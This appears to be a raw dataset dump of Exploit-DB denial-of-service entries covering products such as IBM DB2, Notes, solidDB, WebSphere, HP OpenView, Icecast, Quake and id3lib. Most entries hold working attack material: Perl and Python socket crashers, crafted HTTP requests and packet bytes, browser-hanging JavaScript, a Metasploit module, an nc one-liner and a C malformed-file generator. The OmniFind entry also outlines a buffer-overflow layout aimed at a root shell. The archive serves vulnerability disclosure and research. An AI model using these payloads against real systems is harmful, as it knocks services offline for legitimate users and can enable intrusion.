deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20239
Description: HP OpenView Network Node Manager 6.10 - SNMP Denial of Service
Type: dos
Platform: multiple
Date: 2000-09-26
Author: DCIST

Exploit:
source: https://www.securityfocus.com/bid/1713/info

The OverView5 CGI interface by default is shipped with HP Openview Node Manager.

HP Openview Node Manager can be compromised due to an unchecked buffer. By sending a specially crafted GET request comprised of 136 bytes to the web services (default port 80) through the Overview5 CGI interface, the SNMP service will crash.

Successful exploitation, depending on the data entered, will allow the execution of arbitrary code.

http://target/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&Oid=<string of characters consisting of 136 bytes>
Exploit-DB #26967
Description: httprint 202.0 - HTTP Response Server Field Overflow Denial of Service
Type: dos
Platform: multiple
Date: 2005-12-22
Author: Mariano Nunez Di Croce

Exploit:
source: https://www.securityfocus.com/bid/16031/info
 
httprint is prone to multiple remote vulnerabilities.
 
The first issue may allow remote attackers to execute arbitrary HTML and script code in a user's browser.
 
The second issue may allow remote attackers to crash an instance of the application.
 
httprint version 202 is vulnerable to these issues. 

SecServerSignature "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."x1500
Exploit-DB #20827
Description: Hughes Technologies DSL_Vdns 1.0 - Denial of Service
Type: dos
Platform: multiple
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2700/info

It is possible for a remote user to cause a denial of service on a host running DSL_Vdns. Submitting data to port 6070 and closing the connection before the request is fulfilled, will cause DSL_Vdns to enter a 'Default.Closed' state; therefore, refusing any new connections. 

#!/usr/bin/perl
#
# VDNS.PL - Crashes Virtual DNS Server 1.0
# Written by nemesystm of the DHC
# http://dhcorp.cjb.net - neme-dhc@hushmail.com
#
####
use Socket;

die "$0 - Stops Virtual DNS Server 1.0.
written by nemesystm of the DHC
http://dhcorp.cjb.net - neme-dhc\@hushmail.com
usage: perl $0 target.com\n" if !defined $ARGV[0];

for ($count = 0; $count <= 3; $count++) {
        $serverIP = inet_aton($ARGV[0]);
        $serverAddr = sockaddr_in(6070, $serverIP);
        socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
        if (connect (CLIENT, $serverAddr)) {
                send (CLIENT, "A", 0);
                close (CLIENT);
        } else { print ("if the number shown is 2, it worked"); die "Can't connect: $count\n"; }
}
Exploit-DB #30791
Description: I Hear U 0.5.6 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-11-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26516/info

Multiple denial-of-service vulnerabilities affect I Hear U because the application fails to handle specially crafted packets.

An attacker may leverage these issues to cause a remote denial-of-service condition in affected applications.

These issues affect versions prior to I Hear U 0.5.7.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30791.zip
Exploit-DB #33584
Description: IBM DB2 - 'kuddb2' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-01-31
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/38018/info

IBM DB2 is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to crash, denying service to legitimate users.

IBM DB2 9.7 is vulnerable; other versions may also be affected.

The following sequence of bytes can trigger this vulnerability:
"\x00\x05\x03\x31\x41"
Exploit-DB #8344
Description: IBM DB2 < 9.5 pack 3a - Connect Denial of Service
Type: dos
Platform: multiple
Date: 2009-04-03
Author: Dennis Yurichev

Exploit:
# Discovered by Dennis Yurichev <dennis@conus.info>

# DB2TEST database should be present on target system

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 50000))

sockobj.send(
"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
"\x47\x9D\x37\x88\xA8\x77\x23\x43")

sockobj.close()

# milw0rm.com [2009-04-03]
Exploit-DB #20531
Description: IBM HTTP Server 1.3 - AfpaCache/WebSphereNet.Data Denial of Service
Type: dos
Platform: multiple
Date: 2001-01-08
Author: Peter Grundl

Exploit:
source: https://www.securityfocus.com/bid/2175/info

IBM HTTP Server contains AfpaCache directive which turns the Fast Response Cache Accelerator function on or off. WebSphere is a series of applications which are built upon IBM HTTP Server.

Both IBM HTTP Server and Websphere are subject to a denial of service. This is caused by exhausting computer resources with malformed HTTP GET requests. A restart of the service is required inorder to gain normal functionality.

GET / HTTP/1.0\r\nuser-agent: 20000xnull\r\n\r\n

This request must be made multiple times before the system will freeze.
Exploit-DB #42602
Description: IBM Notes 8.5.x/9.0.x - Denial of Service
Type: dos
Platform: multiple
Date: 2017-09-02
Author: Dhiraj Mishra

Exploit:
# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141
# Exploit Author: Dhiraj Mishra	
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1129
# Category:  IBM Notes (Console Application)


1. Description

IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.

2. Proof of concept

<html><head><title></title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function g(f0) {
                        var f0 = (object instanceof encodeURI)('foo');
                }
                g(75);
        } catch (g) { }
</script>
</head></html>


3. IBM Security Bulletin

www-01.ibm.com/support/docview.wss?uid=swg21999385
Exploit-DB #42604
Description: IBM Notes 8.5.x/9.0.x - Denial of Service (2)
Type: dos
Platform: multiple
Date: 2017-08-31
Author: Dhiraj Mishra

Exploit:
# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
# Exploit Author: Dhiraj Mishra 
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1130
# Category:  IBM Notes (Console Application)
 
 
1. Description
 
IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted. 
 
2. Proof of concept
 
<script>
var w;
var wins = {};
var i = 1;
f.click();
setInterval("f.click()", 1);
setInterval(function(){
	for (var k in wins) {
		// after creating window .status = '' (empty string), when the file dialog is displayed its value changes to 'undefined'.
		if (wins[k] && wins[k].status === undefined) {
			wins[k].close();
			delete wins[k];
		}
	}
	w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
	if (w) {
		wins[i] = w;
		i++;
	}
}, 1);
</script>
 
 
3. IBM Security Bulletin
 
http://www-01.ibm.com/support/docview.wss?uid=swg21999384
Exploit-DB #42969
Description: IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)
Type: dos
Platform: multiple
Date: 2017-08-31
Author: Dhiraj Mishra

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "IBM Notes encodeURI DOS",
        'Description'    => %q(
          This module exploits a vulnerability in the native browser that
comes with IBM Lotus Notes.
          If successful, it could cause the Notes client to hang and have
to be restarted.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra',
        ],
        'References'     => [
          [ 'EXPLOIT-DB', '42602'],
          [ 'CVE', '2017-1129' ],
          [ 'URL', '
http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]
        ],
        'DisclosureDate' => 'Aug 31 2017',
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
    <html><head><title>DOS</title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function d(d0) {
                        var d0 = (object instanceof encodeURI)('foo');
                }
                d(75);
        } catch (d) { }
</script>
</head></html>
    |
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end
Exploit-DB #15474
Description: IBM OmniFind - Buffer Overflow
Type: dos
Platform: multiple
Date: 2010-11-09
Author: Fatih Kilic

Exploit:
* Remote buffer overflow (CVE-2010-3894)

The administration interface has a login form with an username- and a passwordfield.
Entering a valid username (default value is »esadmin«) and a very long string into
the password field a buffer overflow is triggered.

The function Java_com_ibm_es_oss_CryptionNative_ESEncrypt() defined in the file
/opt/IBM/es/lib/libffq.cryptionjni.so is copying the password value to a fixed size
buffer of 2048 bytes.


There are two attack points to exploit this buffer overflow.

The first attack is based on the following buffer combination

password = 2080 bytes + firstattackpoint EAX+EDI (4 bytes) 

The inserted value for »firstattackpoint« will be used in the registers EAX and EDI. 
These registers are used to write data into. This means you can insert any arbitrary
address, where you want to write to.

The second attack is overwriting the saved return address and has the following layout.

password = 2080 bytes + firstattackpoint EAX+EDI (4 bytes) + 480 bytes + EDX (4 bytes) 
           + EAX (4 bytes) + EIP (4 bytes)

To reach the return to your overwritten instruction pointer, you have to insert a valid
writeable address as firstattackpoint. This second attack has some restrictions, you
can only use printable ASCII values. Non printable characters will be removed from the
input string. 
This is no real barrier, since the code is big enough to have many jmp/call addresses,
which have printable ASCII values in their addresses.

During the overwrite the register ESI is pointing to your input, so you could use a
call *%esi to jump to your ASCII filtered shellcode.


During the first attackpoint your input is unfiltered, you can insert arbitrary values.
If you combine both attacks together, you can exploit it remotely and get a (root) shell.

Default running user is root :)
Exploit-DB #15476
Description: IBM OmniFind Crawler - Denial of Service
Type: dos
Platform: multiple
Date: 2010-11-09
Author: Fatih Kilic

Exploit:
* Crawler endless loop (CVE-2010-3899)

The crawler has no recursion depth limit. A site with dynamic parameter manipulation can
cause an endless loop. This loop will block the crawler thread and use permanent server
resources. Too many blocks can lead to a denial of service. The same site will be 
indexed more times and the search results will display the same site many times. This
can be abused for spamming the search results.


Exploit to test the endless loop:
/* loop.php */
<?php
 $numb = rand(); 
 echo $numb.'<br><a href="loop.php?value='.$numb.'">click me</a>';
?>
Exploit-DB #31542
Description: IBM solidDB 6.0.10 - Format String / Denial of Service
Type: dos
Platform: multiple
Date: 2008-03-26
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28468/info

IBM solidDB is prone to a format-string vulnerability affecting the logging function and three denial-of-service vulnerabilities.

Attackers can exploit these issues to execute arbitrary code or to deny service to legitimate users.

solidDB 06.00.1018 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31542.zip
Exploit-DB #15261
Description: IBM solidDB 6.5.0.3 - Denial of Service
Type: dos
Platform: multiple
Date: 2010-10-15
Author: Luigi Auriemma

Exploit:
Source: http://aluigi.org/adv/soliddb_1-adv.txt
#######################################################################

                             Luigi Auriemma

Application:  IBM solidDB
              http://www-01.ibm.com/software/data/soliddb/
Versions:     <= 6.5.0.3
Platforms:    AIX, Linux, Solaris, Windows
Bug:          Denial of Service
Exploitation: remote, versus server
Date:         15 Oct 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"IBM solidDB product family features relational, in-memory database
technology that delivers extreme speed, performing up to ten times
faster than conventional, disk-based databases."


#######################################################################

======
2) Bug
======


The solid.exe service listening on port 1315 can be crashed by an
external attacker through a malformed type of packet.
The bugged function is located at address 0063dc60 which is called
recursively if the packet contains a particular value between the range
of values 15001 and 15100 (switch 9).
The effects of the problem can be:
- stack exaustion by using over 14000 of these values so that all the
  memory of the stack gets consumed by these recursive callings
- NULL pointer due to the usage of only one of these values where an
  unused pointer (set to zero) is used in a comparison operation
- invalid memory access by using also another type of value after those


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/soliddb_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15261.zip

#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #36869
Description: IBM solidDB 6.5.0.8 - 'SELECT' Statement 'WHERE' Condition Denial of Service
Type: dos
Platform: multiple
Date: 2012-02-09
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/52111/info

IBM solidDB is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

IBM solidDB versions prior to 6.5.0.8 Interim Fix 6 are vulnerable. 

SELECT * FROM a WHERE (b >0) AND (b IN (1,2))
Exploit-DB #27196
Description: IBM Tivoli Directory Server 6.0 - LDAP Memory Corruption
Type: dos
Platform: multiple
Date: 2006-02-11
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/16593/info

IBM Tivoli Directory Server is prone to an unspecified memory corruption. This issue may be triggered by malformed LDAP data.

The exact impact of this vulnerability is not known at this time. Although the issue is known to crash the server, the possibility of remote code execution is unconfirmed.

The vulnerability was reported for version 6.0 on the Linux platform. Other versions or platforms are not known to be affected.

This vulnerability will be updated as further information is made available.

This issue can be reproduced by running the following command for the ProtoVer Sample LDAP testsuite:

./run.py localhost 389 2532 1
Exploit-DB #31999
Description: IBM Tivoli Directory Server 6.1.x - Adding 'ibm-globalAdminGroup' Entry Denial of Service
Type: dos
Platform: multiple
Date: 2008-06-30
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/30010/info

IBM Tivoli Directory Server is prone to a denial-of-service vulnerability because the server contains a double-free error.

An attacker can exploit this issue to crash the affected server with a SIGSEGV fault, denying service to legitimate users.

Tivoli Directory Server 6.1.0.0 - 6.1.0.15 are affected. 

The following 'ldapadd' entry is sufficient to trigger the issue:

dn: globalGroupName=GlobalAdminGroup,cn=ibmpolicies
globalGroupName: GlobalAdminGroup
objectclass: top
objectclass: ibm-globalAdminGroup
Exploit-DB #20229
Description: IBM Websphere Application Server 3.0.2 Server Plugin - Denial of Service
Type: dos
Platform: multiple
Date: 2000-09-15
Author: Rude Yak

Exploit:
source: https://www.securityfocus.com/bid/1691/info

Large amounts of data (ie 1092+ characters) in the Host: request header may cause the web server process to fault on signal 11 (SIGSEGV) or signal 10 (SIGBUS). 

GET /servletsnoop HTTP/1.0
Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters)

resulted in the following IBMHTTPD log entry:

[Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation
Fault (11)
Exploit-DB #32712
Description: IBM Websphere DataPower XML Security Gateway 3.6.1 XS40 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-01-08
Author: Erik

Exploit:
source: https://www.securityfocus.com/bid/33169/info

IBM WebSphere DataPower XML Security Gateway XS40 is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Remote attackers can exploit this issue to cause the device to reboot, denying service to legitimate users.

WebSphere DataPower XML Security Gateway XS40 with firmware 3.6.1.5 is affected; other versions may also be vulnerable. 

The following string is sufficient to trigger this issue:

?abc?
Exploit-DB #20973
Description: Icecast 1.1.x/1.3.x - Slash File Name Denial of Service
Type: dos
Platform: multiple
Date: 2001-06-26
Author: gollum

Exploit:
source: https://www.securityfocus.com/bid/2933/info

Icecast is an open source audio-streaming server for both Unix and Microsoft Windows systems.

Icecast does not sufficiently sanitize user-supplied input, or sanely handle unexpected input. Upon receiving a request from a user for a file that ends with a slash or period, the server will crash. The behaviour occurs when the remote attacker adds an '/', '\' or '.' to the end the URL they craft to request the file. The request of an existing file is not necessary, as the Icecast server will fail regardless. 

http://localhost:8000/file//

NOTE: File is interpreted by Icecast as the 'root' directory and anything after 'file/' indicates the file request. The character '/' triggers the denial of service.
Exploit-DB #21042
Description: id Software Quake 3 Arena Server 1.29 - Buffer Overflow
Type: dos
Platform: multiple
Date: 2001-07-29
Author: Coolest

Exploit:
source: https://www.securityfocus.com/bid/3123/info

Quake3 Arena Server is a software package designed to host multiple Quake 3 players over a network for interactive play.

A vulnerability exists in this software that can allow a malicious user to remotely crash a Quake 3 Server. Execution of arbitrary code may be possible as well. 

perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1
Exploit-DB #24710
Description: ID Software Quake II Server 3.2 - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2004-10-27
Author: Richard Stanway

Exploit:
source: https://www.securityfocus.com/bid/11551/info

Multiple remote vulnerabilities have been reported to affect Quake II. These issues are due to boundary condition checking failures, access validation failures and failures to handle exceptional conditions. 

An attacker may leverage these issues to trigger a denial of service condition, execute arbitrary code, gain access to sensitive server files and rejoin a server that they have been banned from.

cmd download maps/tca-zion.bsp -123456789
Exploit-DB #30903
Description: id3lib ID3 Tags - Buffer Overflow
Type: dos
Platform: multiple
Date: 2007-12-19
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/26945/info

The 'id3lib' library is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects versions of id3lib committed to the CVS repository; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER     "0.1"
#define u8      unsigned char
#define MASK(bits) ((1 << (bits)) - 1)



int w28(u8 *data, unsigned num);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    int     i;
    u8      buff[1024],
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "id3lib (devel CVS) array overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.MP3>\n"
            "\n", argv[0]);
        exit(1);
    }

    p = buff;
    *p++ = 'I';         // "ID3"
    *p++ = 'D';
    *p++ = '3';
    *p++ = 4;           // ID3v2 4.0
    *p++ = 0;
    *p++ = 1 << 6;      // flags: extended
    p += w28(p, 0);     // this->SetDataSize
    p += w28(p, 0);     // not used by id3lib
    *p++ = 6;           // extflagbytes
    for(i = 0; i < 20; i++) {
        *p++ = 0xcc;
    }

    printf("- create file %s\n", argv[1]);
    fd = fopen(argv[1], "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    printf("- done\n");
    return(0);
}



int w28(u8 *data, unsigned num) {
    const unsigned short BITSUSED = 7;
    const unsigned MAXVAL = MASK(BITSUSED * 4);
    int     i;

    if(num > MAXVAL) num = MAXVAL;

    for(i = 0; i < 4; i++) {
        data[4 - i - 1] = num & MASK(BITSUSED);
        num >>= BITSUSED;
    }
    return(4);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}